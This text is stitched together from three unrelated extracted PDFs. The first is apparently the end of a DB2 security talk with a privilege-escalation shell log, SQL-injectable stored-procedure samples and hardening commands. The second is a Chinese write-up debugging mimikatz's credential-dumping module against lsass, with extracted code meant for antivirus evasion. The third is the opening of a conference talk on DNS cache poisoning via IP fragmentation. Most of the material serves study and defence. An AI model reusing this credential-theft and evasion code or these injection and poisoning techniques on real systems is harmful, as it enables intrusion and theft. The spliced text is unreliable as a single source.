Found: IBM
[root@... tmp]# touch afile
[root@... tmp]# ls -l afile
-rw-r--r-- 1 root root 0 2009-08-19 07:03 afile
[lelle@... tmp]$ db2licm -g /tmp/afile
[root@... tmp]# ls -l afile
-rw-r--r-- 1 lelle lelle 194 2009-08-19 07:04 afile
^^^^^^^^
http://dbaspot.com/ibm-db2/431085-security-problem-db2-9-5-4-a.html
Analyzing Fix Packs for
unknown vulnerabilities
DB2 Fix Packs often contain sample code to
demonstrate vulnerabilities.
Analyzing the Fix Pack documentation often
reveals unknown exploits allowing (remote) D.o.S.
attacks, database crashes, …
Vulnerabilities in custom code
SQL Injection in custom SQL/PL code
SQL Injection in custom PL/SQL code
Source Code Analysis
Vulnerabilities in custom code
DB2 9.7 supports 2 kind of programming
languages for stored procedures
SQL/PL (IBM procedural language)
PL/SQL (Oracle procedural language, since 9.7)
Majority (based on my experience) of database
developers are not doing input validation before
using input validation.
SQL Injection in custom SQL/PL code
CREATE PROCEDURE get_emp_name_v2 ( IN emp_id FLOAT)
LANGUAGE SQL
BEGIN
DECLARE v_dyn_sql VARCHAR(1000);
DECLARE v_sql_stmt STATEMENT;
DECLARE c_employees CURSOR FOR v_sql_stmt;
SET v_dyn_sql = 'SELECT last_name FROM employees
WHERE emp_id = ‘ || CHAR(emp_id);
PREPARE v_sql_stmt FROM v_dyn_sql;
OPEN c_employees;
-- FETCH …
CLOSE c_employees;
END!
SQL Injection in custom SQL/PL code
Demo
SQL Injection in custom PL/SQL code
FUNCTION TABLE_IS_EMPTY( SN VARCHAR2, TN
VARCHAR2) RETURN BOOLEAN IS
CNT INTEGER;
SQL_STMT VARCHAR2(100);
C1 INTEGER;
RC INTEGER;
BEGIN
SQL_STMT:= 'SELECT COUNT(*) FROM ’|
SN||'.'||TN;
C1:= DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(C1,SQL_STMT,DBMS_SQL.V7);
DBMS_SQL.DEFINE_COLUMN(C1,1,CNT);
RC:= DBMS_SQL.EXECUTE(C1);
RC:= DBMS_SQL.FETCH_ROWS(C1);
DBMS_SQL.COLUMN_VALUE( C1,1,CNT);
DBMS_SQL.CLOSE_CURSOR(C1);
SQL Injection in custom PL/SQL code
Demo
Source Code Analysis
Countermeasure against all kind of SQL Injection
is the usage of bind variables and/or input
validation.
Search for strings “EXEC_DDL_STATEMENT”,
“DBMS_SQL”, “DBMS_DDL”, “PREPARE”, “EXECUTE
”
Accessing the OS from the DB
Accessing Files
Accessing the Network
Accessing Files
utl_file
…
utl_file (Sample 1)
SET SERVEROUTPUT ON@
CREATE OR REPLACE PROCEDURE proc1()
BEGIN
DECLARE v_filehandle UTL_FILE.FILE_TYPE;
DECLARE isOpen BOOLEAN;
DECLARE v_filename VARCHAR(20) DEFAULT 'myfile.csv';
CALL UTL_DIR.CREATE_DIRECTORY('mydir', '/home/user/temp/
mydir');
SET v_filehandle = UTL_FILE.FOPEN('mydir',v_filename,'w');
SET isOpen = UTL_FILE.IS_OPEN( v_filehandle );
IF isOpen != TRUE THEN
RETURN -1;
END IF;
CALL DBMS_OUTPUT.PUT_LINE('Opened file: ' || v_filename);
CALL UTL_FILE.FCLOSE(v_filehandle);
END@
CALL proc1@
utl_file (Sample 2)
SET SERVEROUTPUT ON@
CREATE PROCEDURE proc1()
BEGIN
DECLARE v_dirAlias VARCHAR(50) DEFAULT
'mydir';
DECLARE v_filename VARCHAR(20) DEFAULT
'myfile.csv';
CALL UTL_FILE.FREMOVE(v_dirAlias,v_filename);
CALL DBMS_OUTPUT.PUT_LINE('Removed file: ' ||
v_filename);
END@
CALL proc1@
Accessing the Network
utl_smtp
utl_tcp
Accessing the Network
Demo
Hardening DB2 LUW
Disable Discovery Mode
Change Default Port
Revoking Public Privileges
Secure DB Parameter
Logon Trigger
Disable Discovery Mode
db2 update database manager configuration
using discover DISABLE
db2 update database manager configuration
using discover_inst disable
http://publib.boulder.ibm.com/infocenter/db2luw/v9r7/index.jsp?topic=/com.ibm.db2.luw.admin.config.doc/doc/r0000111.html
Change Port
db2 update dbm cfg using SVCENAME <port number>
db2 update dbm cfg using SSL_SVCENAME <port number>
http://publib.boulder.ibm.com/infocenter/db2luw/v9r7/index.jsp?topic=/com.ibm.db2.luw.admin.config.doc/doc/r0000111.html
Revoking Public Privileges I
db2 REVOKE SELECT ON SYSCAT.INDEXAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.PACKAGEAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.DBAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.COLAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.TABAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.TBSPACEAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.PASSTHRUAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.ROUTINEAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SCHEMAAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SEQUENCEAUTH FROM PUBLIC
Revoking Public Privileges II
db2 REVOKE SELECT ON SYSCAT.AUDITPOLICIES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.AUDITUSE FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.EVENTS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.EVENTTABLES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.ROUTINES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.PACKAGES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYLABELACCESS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYLABELCOMPONENTELEMENTS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYLABELCOMPONENTS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYLABELS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYPOLICIES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYPOLICYCOMPONENTRULES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SECURITYPOLICYEXEMPTIONS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SURROGATEAUTHIDS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.ROLEAUTH FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.ROLES FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.SCHEMATA FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.STATEMENTS FROM PUBLIC
db2 REVOKE SELECT ON SYSCAT.PROCEDURES FROM PUBLIC
Revoking Public Privileges III
db2 revoke select on MON_DB_SUMMARY from public
db2 revoke select on MON_CONNECTION_SUMMARY from public
db2 revoke select on MON_WORKLOAD_SUMMARY from public
db2 revoke select on MON_SERVICE_SUBCLASS_SUMMARY from public
db2 revoke select on MON_CURRENT_UOW from public
db2 revoke select on MON_CURRENT_SQL from public
db2 revoke select on MON_PKG_CACHE_SUMMARY from public
db2 revoke select on MON_LOCKWAITS from public
db2 revoke select on MON_TBSP_UTILIZATION from public
db2 revoke select on MON_BP_UTILIZATION from public
Secure DB2 Parameter
db2 get database manager configuration
AUTHENTICATION = DATA_ENCRYPT
audit_buz_sz = 1000
discover_inst = DISABLE
Keepfenced = NO
SYSADM_GROUP = <valid group>
SYSCTRL_GROUP = <valid group>
SYSMAINT_GROUP = <valid group>
db2 get database configuration
Discover_db = DISABLE
DASADM_GROUP = <valid group>
db2 get admin configuration
AUTHENTICATION = DATA_ENCRYPT
DISCOVER = DISABLE
DASADM_GROUP = <valid group>
Logon Trigger
Logon trigger are a simple way to limit who can
access the database
Logon Trigger
Demo
Thank you
Contact:
Red-Database-Security GmbH
Bliesstr. 16
D-.66538 Neunkirchen
Germany | pdf |
S-Mimikatz源码调试
前期准备
mimikatz源码:地址
调试环境: vs2019
几点设置:
1. 因为官方项目没有debug方案,所以需要手动添加debug配置
2. 项目属性配置
程序入口
调试以 privilege::debug 为例。打开调试-> mimikatz 调试属性->配置属性->调试->命令参数
wmain()是 mimikatz`的入口函数。
命令分发
从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数。
这里首先有一个 kull_m_file_fullPath 方法,然后进行匹配,暂时不知道具体作用是什么,之
后进入 mimikatz_doLocal() 方法。
命令执行
在对命令进行请求分发之后获取到 module 和 commond 两个参数,之后就进入了命令执行的阶段,
这个地方涉及到结构体的知识。
首先 mimikatz_modules[] 是一个数组,数组里面存放的是每一个模块的结构体的指针。那么第
210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较,如果相同,返回0。
结构体的结构在 kuhl_m.h 这个头文件中进行定义。
之后第213和214两行相同的方式去寻找同一个模块下存在的 command ,每个模块都预先定义一个
数组,存放全部的可执行方法的信息。
最重要的就是第215行, status = mimikatz_modules[indexModule]-
>commands[indexCommand].pCommand(argc - 1, argv + 1); ,执行这个模块和命令。
mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了
kuhl_m_c_privilege[] 这个数组的第一个元素,然后这个 const KUHL_M_C
kuhl_m_c_privilege[] 数组,是一个结构体数组,这个第一项表示的是一个 指针函数 ,那后面
的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数。
可以看到的是对于 privilege::debug 这个功能,执行的函数是
kuhl_m_privilege_simple() ,而最后调用的系统API是 RtlAdjustPrivilege() 。
至此,整个简单的流程分析已经结束了,关于 mimikatz 的请求流程,和命令分发已经了解清楚
了。
S-Mimikatz_msv模块
NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
ULONG previousState;
NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);
if(NT_SUCCESS(status))
kprintf(L"Privilege \'%u\' OK\n", privId);
else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
return status;
}
模块介绍
在 mimikatz 中 msv 模块的作用是枚举 LM 和 NTLM 凭证, KUHL_M_C 结构体中的描述是 Lists LM
& NTLM credentials ,根据之前分析的命令分发过程, sekurlsa::msv 最终通过函数指针调用
函数 kuhl_m_sekurlsa_msv()
函数文件位置 kuhl_m_seckurlsa_msv1_0.c
结构体 KUHL_M_SEKURLSA_PACKAGE ,此处可以看到 ModuleName 的值设置为 lsasrv.dll ,这个
也是抓取 NTML 的重点模块。
KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package = {L"msv",
kuhl_m_sekurlsa_enum_logon_callback_msv, TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0,
0, NULL}, FALSE, FALSE}};
const PKUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_single_package[] =
{&kuhl_m_sekurlsa_msv_package};
NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[])
{
return kuhl_m_sekurlsa_getLogonData(kuhl_m_sekurlsa_msv_single_package, 1);
}
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN
PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
kuhl_m_sekurlsa_msv_enum_cred(pData->cLsass, pData->pCredentials,
kuhl_m_sekurlsa_msv_enum_cred_callback_std, pData);
}
结构体 _KIWI_BASIC_SECURITY_LOGON_SESSION_DATA
msv 原理
参考文章 参考文章2
在上面给结构体赋值的时候可以看到 msv 模块用的的 module 是 lsasrv.dll 。而 msv 模块的原理
便是首先从 LSASS.exe 进程中计算出 lsasrv.dll 这个模块的基地址,然后在 lsasrv.dll 模块
中找到两个全局变量 LogonSessionList 和 LogonSessionListCount ,这个
LogonSessionList 中应该就保存当前活动的 Windows 登录会话列表。至于如何找这两个变量可
以看参考文章中介绍的叫《内存签名》的方法。
个人理解就是在 lsasrv.dll 这个模块中找到一个函数 LogonSessionListLock() 同时使用了
LogonSessionList 和 LogonSessionListCount 两个变量作为参数,那么只要根据这个
LogonSessionListLock() 这个函数位置,加上偏移位置,就可以获取两个全局变量的为位置。
通俗理解: LogonSessionListLock 函数的起始地址是 80065926 , LogonSessionListCount 变
量的起始地址是 80065922 , LogonSessionList 变量的起始地址 8006593D ,那经过计算
LogonSessionListCount 相对 LogonSessionListLock 的偏移是 -4 , LogonSessionList 相对
LogonSessionListLock 的偏移是 23 ,这个也正好对于 mimikatz 中的定义。那首先通过找到
LSASS.exe 进程,然后列举进程中全部的 dll 模块,计算出 lsasrv.dll 模块的基地址,然后根
据 LogonSessionListLock 函数在 lsasrv.dll 模块中的便宜了找到这个函数的位置,然后再根
据两个全局变量的相对位置,找到两个全局变量再内存中的位置。
代码调试
首先需要将程序以管理员权限进入调试模式,所以还需要进行简单的设置。
入口断点,通过命令分发进入功能模块。 kuhl_m_sekurlsa_msv() -
> kuhl_m_sekurlsa_getLogonData() -> kuhl_m_sekurlsa_enum() -
> kuhl_m_sekurlsa_acquireLSA()
在功能入口下断点,然后一步步进入重要的功能函数 kuhl_m_sekurlsa_acquireLSA ,调用路径
kuhl_m_sekurlsa_msv() -> kuhl_m_sekurlsa_getLogonData() -
> kuhl_m_sekurlsa_enum() -> kuhl_m_sekurlsa_acquireLSA() ,接下来着重看这个
kuhl_m_sekurlsa_acquireLSA 函数,这个函数在其他的模块中也相当重要。
kuhl_m_sekurlsa_acquireLSA 函数
一路步过,最后停留在 kull_m_process_getProcessIdForName() 函数
这个函数的作用就是通过进程名去获取进程ID,调用路线
kull_m_process_getProcessIdForName() -> kull_m_process_getProcessInformation() -
> kull_m_process_NtQuerySystemInformation() -> NtQuerySystemInformation() ,所以最
终调用的是 NtQuerySystemInformation 函数,这个函数是 Ntdll.dll 中的一个未公开的API方
法,调用过程有点复杂,在之后自己复现 msv 中会写到。
经过上述的调用过程,返回之后就可以根据这个 lsass.exe 进程名,找到对于的 pid 为 560 ,每
个机器这玩意都不一样,但是没关系。之后根据进程id利用 hData =
OpenProcess(processRights, FALSE, pid) 函数,获取句柄。
程序继续运行
打开句柄之后,首先调用这个 kull_m_memory_open 给 &cLsass.hLsassMem 分配一块内存
( KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}}; ),然后对
cLsass.osContext.MajorVersion 等等三个属性赋值,这个赋值保存的是 windows 的相关信
息。
MIMIKATZ_NT_BUILD_NUMBER=19042,MIMIKATZ_NT_MINOR_VERSION=0,MIMIKATZ_NT_MAJOR_V
ERSION=10 ,不同机器这个值可能产生差异。
之后进入 kull_m_process_getVeryBasicModuleInformations() ,这个函数用来获取
LSASS.exe 这个进程的基础信息,也会找到 LSASRV.dll 的基地址。
首先通过 kull_m_process_peb() 方法获取 LSASS.exe 进程的 peb 位置,实际也是调用了
NtQueryInformationProcess 函数。
在 PEB 的结构中有一个 PEB.Ldr.InMemoryOrderModuleList 的列表,这个列表记录了进程加载
的模块地址和大小,接下来就是通国遍历来查找需要的 LSASRV.dll 模块。
当查找到 lsasrv.dll 模块时,进入 callback 回调函数-> kuhl_m_sekurlsa_findlibs()
首先看看这个 lsassPackages 变量,是一个 PKUHL_M_SEKURLSA_PACKAGE 结构体,赋值如:
const PKUHL_M_SEKURLSA_PACKAGE lsassPackages[] =
{&kuhl_m_sekurlsa_msv_package,&kuhl_m_sekurlsa_tspkg_package,&kuhl_m_sekurlsa_w
digest_package,&kuhl_m_sekurlsa_credman_package,&kuhl_m_sekurlsa_kdcsvc_package
,}; 。 而其中的 &kuhl_m_sekurlsa_msv_package 初始化的值为 KUHL_M_SEKURLSA_PACKAGE
kuhl_m_sekurlsa_msv_package = {L"msv", kuhl_m_sekurlsa_enum_logon_callback_msv,
TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}}; 。可以看到在这
个结构体中是定义了 mimikatz 不同模块会使用的 dll 模块,和其余一些信息。在
kuhl_m_sekurlsa_findlibs() 函数中查找到 sekurlsa::msv 功能使用的是 lsasrv.dll ,且
在 LSASS.exe 这进程中可以找到,便会将 pModuleInformation 这个结构体的信息存入
kuhl_m_sekurlsa_msv_package 这个结构体当中。
成功查找到 lsasrv.dll 模块的相关信息便返回,然后进入 kuhl_m_sekurlsa_utils_search 函
数当中,这个函数的作用就是寻找那两个全局变量了。
经过上面的查找,以及 msv 的实现原理,基本上已经完成了任务,至于之后会进入到
lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations) 函
数,感觉是用于计算加解密之类的,具体功能没有太理解。最后一步就是处理两个全局变量获取活
动凭据信息,然后打印了。
像 mimikatz 这种神作肯定还是要自己调试才能领悟其中一些精妙的地方,自己调试的时候便只有
一句话,作者NB。即便调试了很多次,调试了很久,弄清了一个大概的流程,但是其中还有很多
神奇的地方没有完全领会,而上述的内容可能也存在一些错误,欢迎指出。
粗糙的将MSV 功能分离
在考虑到对 mimikatz 进行免杀的时候,由于 mimikatz 功能较多,整体免杀的效果并不会很好,
所以在考虑将常用的功能抽离出来,然后对这些功能进行分开免杀,这样的话效果可能会更好一
些。在上述理解了 msv 的基本原理之后,动手将 msv 粗糙的抽离出来,忽略了亿点点细节,复用
了亿点点代码。效果如下。代码地址:Ghost2097221-selfMimikatz
几个踩坑
1. NtQueryInformationProcess 的加载方式
2. RtlGetNtVersionNumbers 的加载方式
switch (memory->type)
{
case KULL_M_MEMORY_TYPE_PROCESS:
HMODULE hModule = LoadLibraryA("Ntdll.dll");//需要通过LoadLibraryA的方式引入
dll,然后加载相关函数。
PFUN_NtQueryInformationProcess pfun =
(PFUN_NtQueryInformationProcess)GetProcAddress(hModule,
"NtQueryInformationProcess");
NTSTATUS a = pfun(hProcess, info, buffer, szBuffer, &szInfos);
if ((szInfos == szBuffer) && processInformations.PebBaseAddress)
{
aProcess.address = processInformations.PebBaseAddress;
status = kull_m_memory_copy(&aBuffer, &aProcess, szPeb);
}
break;
}
void GetSysInfo() {
//DWORD* MIMIKATZ_NT_MAJOR_VERSION, DWORD* MIMIKATZ_NT_MINOR_VERSION, DWORD*
MIMIKATZ_NT_BUILD_NUMBER
//获取系统信息
HMODULE hDll = ::LoadLibrary("ntdll.dll");
typedef void (WINAPI* getver)(DWORD*, DWORD*, DWORD*);
getver RtlGetNtVersionNumbers = (getver)GetProcAddress(hDll,
"RtlGetNtVersionNumbers");
RtlGetNtVersionNumbers(&MIMIKATZ_NT_MAJOR_VERSION,
&MIMIKATZ_NT_MINOR_VERSION, &MIMIKATZ_NT_BUILD_NUMBER);
MIMIKATZ_NT_BUILD_NUMBER &= 0x00007fff;
}
3. mimikatz 中大量的使用了结构体,而且还覆写了很对系统定义的结构体,加入自己定义的属性。
所在进行抽离的时候有些结构体会出现属性不存在的情况,这种就是作者进行了覆写。 | pdf |
"FIRST-TRY" DNS CACHE
POISONING WITH IPV4 AND IPV6
FRAGMENTATION
Or how to become the one in
“one in 34 million”
WHERE WE’RE GOING
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
© 2018 Cisco and/or its affiliates. All rights reserved. Cisco Public
$ whoami
Travis (Travco) Palmer
§ Security Research Engineer for
Cisco Systems
§ Offensive Security Certified
Professional & Expert (OSCP &
OSCE)
§ Not a DNS/DNSSEC expert
Brian Somers
§ Principal Engineer for Cisco Systems
§ FreeBSD & OpenBSD developer
alumnus
YOU DID WHAT?
Found a way to poison the cache of DNS resolvers
without man-in-the-middle more consistently
Modified an IPv4 attack on DNS over UDP, reduced it
from hundreds of iterations to plausibly one
Extended the attack so that it bypasses all current
recommendations
YES, WE DID DISCLOSE RESPONSIBLY
Our team discovered this attack during a focused
“pentest” engagement
Our team disclosed to Cisco Umbrella
Umbrella has been disclosing this to other DNS operators
(ongoing) before DEF CON.
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
WHERE WE’RE GOING
If the timing on a particular
DNS request can be predicted,
the reply only needs to be well
structured and have a valid ID
In 2008 Dan Kaminsky demonstrated 16bits of entropy is not
sufficient to prevent cache poisoning
And can be performed off-path (source ports are predictable)
QUICK AND DIRTY DNS PRIMER
D. Kaminsky. It’s The End Of The Cache As We Know It. In Black Hat
conference, 2008. http://www.doxpara.com/DMK_BO2K8.ppt
IDEAL POISONING SCENARIO
TARGET
PUPPET
INTERNET
CACHE
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
Resolver is
v.x.y.z !
CACHE
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
CACHE
PUPPET
ATTACKER
DNS ID =
2003, 2004,
2005, 2006,
2007, 2008,
2009, 2010,
2011, etc…
IDEAL POISONING SCENARIO
TARGET
INTERNET
CACHE
Not Poisoned?
Try, try again
(just make sure it
isn’t cached)
PUPPET
ATTACKER
DNS ID =
2003, 2004,
2005, 2006,
2007, 2008,
2009, 2010,
2011, etc…
IDEAL POISONING SCENARIO
TARGET
INTERNET
CACHE
PUPPET
ATTACKER
DNS ID =
2003, 2004,
2005, 2006,
2007, 2008,
2009, 2010,
2011, etc…
IDEAL POISONING SCENARIO
TARGET
INTERNET
CACHE
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
INTERNET
CACHE
TARGET
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
INTERNET
CACHE
TARGET
PUPPET
ATTACKER
DNS source ports aren’t
predictable anymore.
To fake a DNS response
off-path, a 16bit DNS identifier,
and a UDP port number (16bit*)
need to be guessed.
QUICK AND DIRTY DNS PRIMER
“.org” TLD
.defcon.org
A www.defcon.org 162.222.171.206
ICANN “.”
Enter DNS Security Extensions (DNSSEC)
Cryptographic key-based signing of DNS zones by
parent zones, and signing of records by zones.
QUICK AND DIRTY DNS PRIMER
Enter DNS Security Extensions (DNSSEC)
QUICK AND DIRTY DNS PRIMER
https://www.cloudflare.com/dns/dnssec/how-dnssec-works/
Data origin authentication - verify that the data it
received actually came from the zone it should
have come from.
Data integrity - data cannot be modified in transit
since records are signed by the zone owner with the
zone's private key.
DNSSEC adds (most importantly) :
QUICK AND DIRTY DNS PRIMER
QUICK AND DIRTY DNS PRIMER
https://www.icann.org/news/announcement-2019-02-22-en
QUICK AND DIRTY DNS PRIMER
https://www.internetsociety.org/resources/doc/2016/state-of-
dnssec-deployment-2016/
Sign Delegation NS and A
resource records (RRs)
Sign Glue Records
DNSSEC doesn’t:
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
.com
example.com
QUICK AND DIRTY DNS PRIMER
QUICK AND DIRTY DNS PRIMER
Sign Delegation NS and A
resource records (RRs)
Sign Glue Records
DNSSEC doesn’t:
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
.com
example.com
Signing comes at a cost,
especially with NSEC3
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
$ dig +dnssec @dns-
2.datamerica.com.
gggg.defcon.org
QUICK AND DIRTY DNS PRIMER
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
dig +dnssec @dns-2.datamerica.com. gggg.defcon.org; <<>> DiG 9.11.2-P1-1-Debian <<>> +dnssec @dns-2.datamerica.com.
gggg.defcon.org; (2 servers found);; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49427;; flags:
qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION:; EDNS:
version: 0, flags: do; udp: 4096; COOKIE: 7f011ea810942e94c127df285cfd54a55323c46351aa65c0 (good);; QUESTION
SECTION:;gggg.defcon.org.
IN
A;; AUTHORITY SECTION:defcon.org.
86400
IN
SOA
dns-
1.datamerica.com. hostmaster.defcon.org. 2019042612 43200 600 2419200 86400defcon.org.
86400
IN
RRSIG
SOA 10 2 2419200 20190910161941 20190609151941 14006 defcon.org.
HeG6b/gBOIsP4lMsC7/N7neFp/OQQV5VcKWycbnLe88wwT2wPTxx0Rsm mx9By1mGJv0TJhh/F4gFz7Vgh7lB1gPmGgkjfaHP42U3EyvdtyIYDIn6
xfa2l9Ev4vNB3NrFwR9vzsnRbi0OZjBKEsK6gpB4caiEAyVpXkgp61NU QpW0NKojLAo7PECRmjpdKiu1VthY9wMUjz4b9phXQUBQtCxq7EhheuZf
JXQixGyGTlxeel3DO0hWo465YyBhyM8cd4qh2xNRiGbLdkzrNx+QI7uG 41eyJqDlRZK8hUmacyCI7J4+2F6MTEUDsTfYzVJnq5IAJZG1n4ByUjPe
fq/M4nZ3dmRMSV2HlSARYqaMcYuVsRRQUSG8mEP1sV2ByPIwXMRnxDnc
QuxmS6p+ML7yQnc2azpWtQHoYer+F0bwylkrW+5Qtivn4otIngtsoM94
az+Dqxrue6YeK6BgMgGkXz1S3Wa8ld1v/z7o7DQGAXt36a6xM4CEbyWX ER+20zmXE40DKXwR0mByixzrLp9o6c/NhdsG7fIy9bKGzOYcpkbv8mf4
qvcd9gKXA7BlIvk4Cf+RlpGTB4arjhASXP0RuZVu8yAD+8MZGE4Ri6/o U6v96xW5Ave2ck3C5W/gkxhn6+J9mB2gMCEKyLsOV5OUIhVhaQbZqymD
Krg5dZTnlok=defcon.org.
86400
IN
NSEC
_dmarc.defcon.org. A NS SOA MX TXT AAAA RRSIG NSEC DNSKEY CAA
TYPE65534defcon.org.
86400
IN
RRSIG
NSEC 10 2 86400 20190909090129 20190608080148 14006
defcon.org. Sk/QKHMfW9u/oVEBoqL9T+KUVs00UMkmij71zS0KNZ6QOFFbwvdnpStc
KD0JfQ6u4mczLXC3PfgOPlH11/YGLf9IRJ0x2CHYMg6UpYMw06Ox3MNm
h1Mm2IT3TqCMrMCAUjAwO5jhBB6aOmYRlwIr3yv8x8YW/gFS/C61BKp0 uKXYUdR8sYlEZ9b8BDvyxAWbRN8N5jr72KSR5xpBwzt2TygAD3y6F4fr
qyj2bZuZ4KFh+toTPwbXlFb3OvF8qcOhz+IpgO3zVkFbtCIc3tbHCknI uRf53X6dQ5vhy6eYstai4IhSx7TTGD/Lq1NoEpxKx8VS0gQyw0OSb8tj
tAt4/x9qt98MYr++OsbYCt1lehv2sq7HL93s5RTnDs0ENDd19do/LqU4 S6toMxnCoKksmh2g5z5zHuzhiPWsH+OzD4SC4v4ji7R7tdvMXRQ9L9hs
kkBsQERCD+AbYQ7usXYecnmkobWapJJkd1+5w3wsNQyqi1uMAhJmz2mm
Wz0dVTv844lB1CG3htcmYViWKWmRRL/mRPKb2cmEgTmKXG5ZONvjkOUa 9Z0pYJTzIPhRENq3Nel9gEhz3auuf697TFJr5x/Jux1hNtoHvko4gKaH
0t1UYkANH25n6W/m6tHcWtMliuqu7YC97E6FBB6dzXRFB/TsAU5qFnz2 5R0gePsKvOw=forums.defcon.org.
86400
IN
NSEC
info.defcon.org. CNAME RRSIG NSECforums.defcon.org.
86400
IN
RRSIG
NSEC 10 3 86400 20190909232755
20190608224446 14006 defcon.org. JfXq564r6ge6qiZDvlUPQJBL+ks0UbQ/QuwbDj4+sbYOGO2HAePYNIxX
g1EjC80FRAXKrYBb735iNdKS3OLcaepEnSQyps3TcVZrJ92k6ZrFGr2p lxOoX93CpYHgipkmR2vBVhuYqjXjXG/P1sNYymIhU+nZfMv13t5KjsPy
NmC1tNIGnFa9tSwiIzD26GtHnqFfV0i4tPDvIz3lLfMt4i8tUalKL3i/ LiPhKoQvVNC/vTMg8CWiJIcBRe/3H25lT1lQDnvGXb2otrdrTX8KVK19
T5diMVES1KjOUosxXc9lcYRZ0esAOxCDqygtIkd0mRLot8ipln1FPIo3 GUWtMUFZd4Ht3mIK9OfZljRBsFfS6rLxAU+vBk0Li68c+CX1qyDKYCRU
Qf0m6Zerj2zcg2pwhb/H7OeucUnJXHEdtrsBbZIJzlHQ/WyOadVqT0ry RWjALawT0CXIIPVURnDpEVhv89LtSexnu+ysBUZFsVy0aMcj7WSONNWE
6bW7mcKWyAJ3M8/Nfao7WIJaJM76RmgBJ8mzJKnkQFs/WIkj4umQrlY1 HgZbunn0EyoBa0MozA9U/D/q4WvFnOAEZ3jTlYpOi1/cJaM+0RWB/YNZ
Dkbnqp54wdfy4TFG21z0lSfpHzNzf8g/xOxeB1RQJ8cqaCb1HrDuY0VH Q4C7XGn+4dU=;; Query time: 85 msec;; SERVER:
64.87.1.238#53(64.87.1.238);; WHEN: Sun Jun 09 14:49:09 EDT 2019;; MSG SIZE rcvd: 1922
$ dig +dnssec @dns-
2.datamerica.com.
gggg.defcon.org
…
MSG SIZE rcvd: 1922
Signing comes at a cost,
especially with NSEC3
QUICK AND DIRTY DNS PRIMER
WHERE WE’RE GOING
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
WHY DNS FRAGMENTATION OVER
THE O.G. KAMINSKY?
If a response becomes too big, it
needs to be fragmented at the IP layer.
The DNS identifier and UDP port
number are early in the IP payload.
For the second fragment, the only entropy is the IP
identifier (IPID) in the header.
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
The IP identifier (IPID) for IPv4 is 16bits
A significant portion of nameservers
were found to have a single global
counter for IPID
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
WHY DNS FRAGMENTATION OVER
THE O.G. KAMINSKY?
IDEAL POISONING SCENARIO
TARGET
INTERNET
IPID=5002
CACHE
0
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
TARGET
PUPPET
INTERNET
CACHE
0
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
IPID = 5003,
